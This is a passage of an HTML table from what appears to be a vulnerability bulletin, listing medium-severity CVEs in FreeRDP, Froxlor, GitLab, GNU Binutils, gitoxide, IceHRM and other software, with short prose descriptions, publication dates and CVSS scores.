&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91952&quot; target=&quot;_blank&quot;&gt;CVE-2026-91952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain a heap buffer overflow vulnerability in nego_send_negotiation_request() that fails to validate the LB_LOAD_BALANCE_INFO field length before writing to a fixed 512-byte buffer. A malicious RDP server or man-in-the-middle can send a Server Redirection PDU with an oversized LB_LOAD_BALANCE_INFO value to overflow the buffer with attacker-controlled content, causing denial of service or heap corruption before authentication completes.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91953&quot; target=&quot;_blank&quot;&gt;CVE-2026-91953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 contains a null pointer dereference vulnerability in gdi_surface_bits when processing Surface Bits commands with NSCodec codec ID. A malicious RDP server can crash a FreeRDP client by sending a crafted Surface Bits command claiming to use NSCodec, even when the codec is disabled.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91954&quot; target=&quot;_blank&quot;&gt;CVE-2026-91954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 contains an out-of-bounds read vulnerability in the URBDRC channel&#039;s func_get_ep_desc function that indexes interface arrays by position instead of protocol field InterfaceNumber. A malicious RDP server can send a crafted SELECT_CONFIGURATION message with permuted InterfaceNumber values to read past allocated heap memory and crash the client.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91956&quot; target=&quot;_blank&quot;&gt;CVE-2026-91956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 fail to validate MonitorIds array values when parsing RDP connection files, allowing unbounded array indexing in xf_detect_monitors. Attackers can craft a malicious RDP file with an out-of-range selectedmonitors value to trigger out-of-bounds heap read and write operations when opened in xfreerdp.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91958&quot; target=&quot;_blank&quot;&gt;CVE-2026-91958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 contains a buffer over-read vulnerability in the rts_read_result function within the RPC gateway transport parser. Attackers can send a malicious BIND_ACK PDU with a truncated result entry to trigger an out-of-bounds read causing process abort.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91959&quot; target=&quot;_blank&quot;&gt;CVE-2026-91959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain an integer overflow in WinPR&#039;s Stream_EnsureRemainingCapacity function that allows remote attackers to cause denial of service. A malicious RD Gateway peer can send a WebSocket Ping frame with a crafted 64-bit extended payload length to trigger integer wraparound, resulting in a double free that crashes the FreeRDP client during connection.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91960&quot; target=&quot;_blank&quot;&gt;CVE-2026-91960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 contains a denial-of-service vulnerability in the URBDRC control-transfer request path that fails to validate OutputBufferSize before forwarding to the libusb backend. A malicious RDP server can send a control-transfer request with OutputBufferSize set to 65536, triggering a reachable assertion that terminates the client process.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91961&quot; target=&quot;_blank&quot;&gt;CVE-2026-91961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 contains an integer overflow in the audin Apple backends when processing FramesPerPacket values from MSG_SNDIN_OPEN messages. Attackers can supply crafted FramesPerPacket values that cause AudioQueueAllocateBuffer size computation to wrap, resulting in undersized buffer allocation and potential out-of-bounds access.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91962&quot; target=&quot;_blank&quot;&gt;CVE-2026-91962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain an uninitialized heap memory disclosure vulnerability in the urbdrc USB redirection channel. A malicious RDP server can induce failing USB transfers to read uninitialized heap memory from the client, defeating ASLR and enabling remote code execution when chained with memory corruption vulnerabilities.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91963&quot; target=&quot;_blank&quot;&gt;CVE-2026-91963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor before 2.3.7 fails to validate the mysql_server parameter against a customer&#039;s allowed_mysqlserver allowlist in the Mysqls.add API command. Attackers can supply a disallowed server index to create MySQL databases and users on forbidden servers, bypassing per-customer access controls.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90935&quot; target=&quot;_blank&quot;&gt;CVE-2026-90935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor before 2.3.7 fails to properly scope sender alias lookups to the current customer in customer_email.php. Authenticated attackers can enumerate global sender alias IDs and read other customers&#039; allowed sender values by supplying arbitrary senderid parameters in delete confirmation requests.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90936&quot; target=&quot;_blank&quot;&gt;CVE-2026-90936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fuomag9--caddy-proxy-manager&lt;/td&gt;
&lt;td&gt;Caddy Proxy Manager is a web interface for managing Caddy Server reverse proxies and certificates. Prior to 1.5.1, Caddy Proxy Manager enables email and password self-registration by default at /api/auth/sign-up/email, allowing an unauthenticated remote actor to create an active account with the user role without administrator approval. The user role cannot view or modify proxy data, so the direct impact is limited to unauthorized creation of low-privilege accounts. The fixed configuration in src/lib/config.ts and src/lib/auth-server.ts requires AUTH_ALLOW_SELF_REGISTRATION=true before the authentication library&#039;s disableSignUp control permits sign-up. This issue is fixed in version 1.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54907&quot; target=&quot;_blank&quot;&gt;CVE-2026-54907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gamonoid--icehrm&lt;/td&gt;
&lt;td&gt;IceHRM before 36.0.0 fails to validate employee ownership on seven REST sub-resource endpoints, allowing authenticated employees to read any colleague&#039;s HR records. Attackers can substitute arbitrary employee IDs in skill, education, certification, language, leave, attendance, and status endpoints to access sensitive personnel data.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91770&quot; target=&quot;_blank&quot;&gt;CVE-2026-91770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;garycourt--uri-js&lt;/td&gt;
&lt;td&gt;uri-js through 4.4.1 contains an improper UTF-8 decoding vulnerability in pctDecChars() that decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. Attackers can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93751&quot; target=&quot;_blank&quot;&gt;CVE-2026-93751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gedelumbung--HospitalManagement&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This issue affects the function application/modules/global/controllers/password.php::simpan/application/modules/global/controllers/profil.php::simpan of the file application/modules/global/controllers/password.php of the component Password Change Handler. Such manipulation of the argument kode_user/username leads to improper authentication. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93532&quot; target=&quot;_blank&quot;&gt;CVE-2026-93532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gedelumbung--HospitalManagement&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. Affected by this vulnerability is the function generate_index_pasien of the file application/models/app_global_admin_model.php. Executing a manipulation of the argument cari can lead to sql injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92221&quot; target=&quot;_blank&quot;&gt;CVE-2026-92221&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gedelumbung--HospitalManagement&lt;/td&gt;
&lt;td&gt;A weakness has been identified in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This vulnerability affects unknown code. This manipulation causes cross-site request forgery. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93531&quot; target=&quot;_blank&quot;&gt;CVE-2026-93531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ghozylab--WP Composer The Easiest Page Builder&lt;/td&gt;
&lt;td&gt;The WP Composer - The Easiest Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;pbwp_raw_shortcode&#039; shortcode in all versions up to, and including, 1.0.5. This is due to the shortcode handler decoding Base64-encoded content and outputting it directly without any sanitization or escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The Base64 encoding allows the payload to bypass WordPress&#039;s KSES content filtering at save time, since the encoded string contains no harmful HTML characters.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2422&quot; target=&quot;_blank&quot;&gt;CVE-2026-2422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed a developer user to perform actions in the context of another user&#039;s merge request commit due to a race condition issue in pipeline creation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-11222&quot; target=&quot;_blank&quot;&gt;CVE-2024-11222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.6 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user to bypass SAML SSO sign-in restrictions and authenticate without SSO due to missing authentication enforcement checks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12910&quot; target=&quot;_blank&quot;&gt;CVE-2026-12910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that certain conditions could have allowed an authenticated user to access sensitive credentials and tokens without transiting the expected proxy due to improper authorization checks on internal data emission endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82837&quot; target=&quot;_blank&quot;&gt;CVE-2026-82837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab EE affecting all versions from 18.11 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user with the Security Manager role to execute arbitrary CI/CD jobs and access protected variables within group projects due to improper authorization controls on compliance framework management.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16794&quot; target=&quot;_blank&quot;&gt;CVE-2026-16794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to execute arbitrary JavaScript in the context of a targeted user&#039;s session due to improper sanitization of pasted HTML content in the Content Editor.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19619&quot; target=&quot;_blank&quot;&gt;CVE-2026-19619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.9 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that an authenticated user with developer-role permissions could substitute package file content and hide packages from their owners due to improper authorization checks in the Generic Package Registry.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7514&quot; target=&quot;_blank&quot;&gt;CVE-2026-7514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user to prevent another user from modifying their group settings due to improper validation of group URL slugs during namespace transfers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8030&quot; target=&quot;_blank&quot;&gt;CVE-2026-8030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab EE affecting all versions from 17.1 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an authenticated user with Owner or Maintainer permissions could have silently disabled protected environment deployment approval requirements, allowing unapproved deployments to reach production, due to improper access control checks performed after the protected resource was modified.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86341&quot; target=&quot;_blank&quot;&gt;CVE-2026-86341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gitlawb--openclaude&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Gitlawb openclaude up to 0.30.0. Impacted is the function waitForCallback of the file src/services/api/xaiOAuthCallback.ts of the component xAI OAuth Callback Handler. The manipulation of the argument Error leads to denial of service. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90712&quot; target=&quot;_blank&quot;&gt;CVE-2026-90712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitoxideLabs--gitoxide&lt;/td&gt;
&lt;td&gt;gitoxide is an implementation of git written in Rust. Prior to 0.13.3, the gix-sec crate on Windows incorrectly treats repositories controlled by another user as trusted when an administrator runs a dependent program with an unfiltered elevated token. In gix-sec/src/identity.rs, gix_sec::identity::is_path_owned_by_current_user obtains folder_owner and token_owner, but its administrator-specific IsWellKnownSid and CheckTokenMembership checks examine the running token rather than confirming the directory owner. This bypasses safe.directory-style protection for repositories owned and configured by a limited user, allowing repository configuration or hooks to execute commands with the administrator&#039;s privileges when an affected operation is performed. Exploitation requires Windows, an elevated administrator, a program that relies on gix-sec trust results, and interaction with a repository controlled by another user. An unelevated UAC process is not affected, and cloning is not affected because repository configuration and hooks are not copied. This issue is fixed in version 0.13.3.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-24890&quot; target=&quot;_blank&quot;&gt;CVE-2025-24890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitoxideLabs--gitoxide&lt;/td&gt;
&lt;td&gt;gitoxide gix-transport before 0.59.2 fails to filter control characters in git-daemon connect requests, allowing attackers to inject NUL/CR/LF bytes via crafted git URLs. Attackers can inject extra NUL-delimited protocol fields to spoof virtual hosts or inject newlines into daemon requests and logs.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91986&quot; target=&quot;_blank&quot;&gt;CVE-2026-91986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;givanz--Vvveb&lt;/td&gt;
&lt;td&gt;Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.5, getThemeFolder() in admin/controller/editor/revisions.php returns the attacker-controlled theme parameter without sanitization, and backupFolder() concatenates it beneath DIR_THEMES before editor/revisions/load or editor/revisions/delete operates on a named .html file. sanitizeBackupFileName() strips traversal characters only from the separate file parameter and does not protect the theme directory component. An authenticated user with the default Editor role and editor/* permission can submit traversal sequences that redirect file_get_contents() or unlink() to a reachable backup subdirectory outside the web root. A valid admin session and CSRF token are required, the read is limited to .html files in backup directories, and deletion additionally requires filesystem write permission. This can disclose sensitive exported site content or remove backup data. This issue is fixed in version 1.0.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54613&quot; target=&quot;_blank&quot;&gt;CVE-2026-54613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in GNU Binutils 2.47. This impacts the function cache_bwrite of the file bfd/cache.c of the component ld. The manipulation of the argument nbytes results in buffer overflow. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90801&quot; target=&quot;_blank&quot;&gt;CVE-2026-90801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in GNU Binutils 2.47. Affected by this vulnerability is the function elf_x86_64_relocate_section of the file bfd/elf64-x86-64.c of the component ld. Such manipulation of the argument roff leads to buffer overflow. An attack has to be approached locally. The exploit has been disclosed publicly and may be used. Upgrading to version 2.48 addresses this issue. The name of the patch is 471130b39c03623ec6d78ece377ff4da3f6bfe7b. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90803&quot; target=&quot;_blank&quot;&gt;CVE-2026-90803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in GNU Binutils 2.47. This vulnerability affects the function elf_orphan_compatible of the file ld/ldelf.c of the component ELF Orphan Section Handler. Performing a manipulation results in null pointer dereference. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90828&quot; target=&quot;_blank&quot;&gt;CVE-2026-90828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A weakness has been identified in GNU Binutils 2.47. This issue affects the function bfd_elf_set_group_contents of the file bfd/elf.c of the component SHT_GROUP Section Handler. Executing a manipulation can lead to null pointer dereference. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90829&quot; target=&quot;_blank&quot;&gt;CVE-2026-90829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in GNU Binutils 2.47. Impacted is the function _bfd_write_merged_section of the file bfd/merge.c of the component Section Merge. The manipulation leads to null pointer dereference. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90830&quot; target=&quot;_blank&quot;&gt;CVE-2026-90830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GNU Binutils 2.47. The affected element is the function _bfd_elf_strtab_delref of the file bfd/elf-strtab.c of the component ELF String Table. The manipulation results in memory corruption. The attack requires a local approach. The exploit is now public and may be used. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90831&quot; target=&quot;_blank&quot;&gt;CVE-2026-90831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A weakness has been identified in GNU Binutils 2.47. Affected is the function bfd_putl64 of the file bfd/libbfd.c of the component ld. This manipulation causes null pointer dereference. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90802&quot; target=&quot;_blank&quot;&gt;CVE-2026-90802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GNU Binutils 2.47. Affected by this issue is the function _bfd_elf_write_section_eh_frame of the file bfd/elf-eh-frame.c of the component Eh Frame Section Handler. Performing a manipulation of the argument cie_length/fde_length/augmentation_data_size/write_offset results in buffer overflow. Attacking locally is a requirement. The exploit is now public and may be used. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90804&quot; target=&quot;_blank&quot;&gt;CVE-2026-90804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
